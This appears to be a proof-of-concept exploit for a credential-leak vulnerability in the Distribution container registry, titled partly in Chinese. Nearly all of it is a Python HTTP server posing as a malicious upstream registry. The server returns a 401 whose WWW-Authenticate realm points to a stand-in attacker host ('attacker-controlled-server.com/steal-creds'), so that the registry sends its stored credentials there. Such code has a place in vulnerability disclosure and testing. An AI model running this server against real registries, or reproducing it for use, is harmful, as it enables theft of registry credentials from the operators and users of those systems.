CVE-2026-33540 Distribution凭证泄露漏洞

# This PoC simulates a malicious upstream registry that exploits the vulnerability. # It returns a WWW-Authenticate header with a realm pointing to an attacker-controlled server. from http.server import BaseHTTPRequestHandler, HTTPServer class MaliciousUpstreamHandler(BaseHTTPRequestHandler): def do_GET(self): # Simulate a 401 Unauthorized response required for authentication self.send_response(401) # The critical part: A realm URL pointing to an attacker's server (e.g., a logging service) # Distribution will send credentials to this URL. attacker_controlled_realm = "http://attacker-controlled-server.com/steal-creds" self.send_header('WWW-Authenticate', f'Bearer realm="{attacker_controlled_realm}",service="registry.docker.io"') self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(b'{"errors": [{"code": "UNAUTHORIZED", "message": "Authentication required"}]}') def run_server(port=8080): server_address = ('', port) httpd = HTTPServer(server_address, MaliciousUpstreamHandler) print(f"Malicious upstream running on port {port}...") httpd.serve_forever() if __name__ == '__main__': run_server() # Note: In a real attack scenario, the attacker would also host the server # at 'attacker-controlled-server.com' to capture the Authorization header.